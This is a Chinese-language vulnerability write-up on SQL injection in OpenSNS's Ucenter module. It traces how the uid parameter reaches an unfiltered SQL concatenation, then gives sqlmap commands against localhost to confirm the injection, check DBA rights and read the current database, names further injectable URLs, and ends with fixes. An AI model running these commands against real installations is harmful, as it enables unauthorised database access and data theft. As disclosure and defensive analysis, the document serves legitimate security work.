OpenSNS SQL注入(一)
字数 1386 2025-08-27 12:33:31
OpenSNS SQL注入漏洞分析与利用
0x01 漏洞概述
OpenSNS是一款基于OneThink的轻量级社交化用户中心框架,采用PHP+MYSQL构建。该系统存在SQL注入漏洞,攻击者可通过构造恶意请求获取数据库敏感信息。
0x02 漏洞分析
漏洞位置
漏洞存在于OpenSNS的Ucenter模块中,具体文件路径为:
./Application/Ucenter/Controller/ConfigController.class.php./Application/Common/Common/query_user.php./Application/Common/Model/UserModel.class.php
漏洞触发流程
-
初始化阶段 (
ConfigController.class.php中的_initialize方法)- 第15行:使用三元运算符判断是否设置了
$_GET['uid'] - 第17行:调用
userInfo方法并传入$uid参数
- 第15行:使用三元运算符判断是否设置了
-
用户信息查询 (
ConfigController.class.php中的userInfo方法)- 第1117行:调用
query_user函数并传入数组和$uid参数
- 第1117行:调用
-
通用查询函数 (
query_user.php中的query_user函数)- 第17行:判断
$uid是否为null - 第18行:调用
UserModel中的query_user方法
- 第17行:判断
-
模型查询 (
UserModel.class.php中的query_user方法)- 第118行:调用
getNeedQueryData方法处理查询数据
- 第118行:调用
-
SQL注入点 (
UserModel.class.php中的getNeedQueryData方法)- 第67行:使用
array_intersect函数处理查询字段 - 第71行:关键漏洞点 - 直接将外部参数拼接到SQL语句中,未做任何过滤
- 第67行:使用
0x03 漏洞复现
准备工作
- 注册一个OpenSNS账号
- 登录系统获取有效会话
利用步骤
使用SQLMap工具进行自动化注入测试:
- 检测注入点:
sqlmap.py -u "http://localhost/index.php?s=/ucenter/Config/&uid=1*" --cookie "PHPSESSID=hvvkoc2sef0l1kemdrvnknd2s7; UM_distinctid=16bda55e991192-05e2b3083ccb28-1368624a-144000-16bda55e992c7; CNZZDATA1254932726=287816123-1562732483-%7C1562738136" --batch --technique=T --dbms "mysql"
- 检查DBA权限:
sqlmap.py -u "http://localhost/index.php?s=/ucenter/Config/&uid=1*" --cookie "PHPSESSID=hvvkoc2sef0l1kemdrvnknd2s7; UM_distinctid=16bda55e991192-05e2b3083ccb28-1368624a-144000-16bda55e992c7; CNZZDATA1254932726=287816123-1562732483-%7C1562738136" --batch --technique=T --dbms "mysql" --is-dba
- 获取当前数据库:
sqlmap.py -u "http://localhost/index.php?s=/ucenter/Config/&uid=1*" --cookie "PHPSESSID=hvvkoc2sef0l1kemdrvnknd2s7; UM_distinctid=16bda55e991192-05e2b3083ccb28-1368624a-144000-16bda55e992c7; CNZZDATA1254932726=287816123-1562732483-%7C1562738136" --batch --technique=T --dbms "mysql" --current-db
其他注入点
系统还存在其他类似的注入点:
http://localhost/index.php?s=/ucenter/index/index&uid=10http://localhost/index.php?s=/ucenter/index/information&uid=10
0x04 漏洞修复建议
- 对用户输入的
uid参数进行严格过滤和类型转换 - 使用预处理语句或ORM框架进行数据库操作
- 在SQL拼接处添加参数绑定机制
- 对数字型参数使用
intval()等函数进行强制类型转换
0x05 技术要点总结
- 漏洞根源在于未过滤的用户输入直接拼接到SQL语句
- 利用链涉及多个文件和方法调用
- 注入点为数字型注入,可通过
uid参数触发 - 系统使用ThinkPHP框架,但未充分利用其安全机制
- 漏洞影响范围包括多个Ucenter模块的接口
0x06 防御措施
- 对所有用户输入进行验证和过滤
- 使用框架提供的安全查询方法
- 实施最小权限原则,限制数据库用户权限
- 定期进行安全审计和代码审查
- 部署WAF等防护设备拦截恶意请求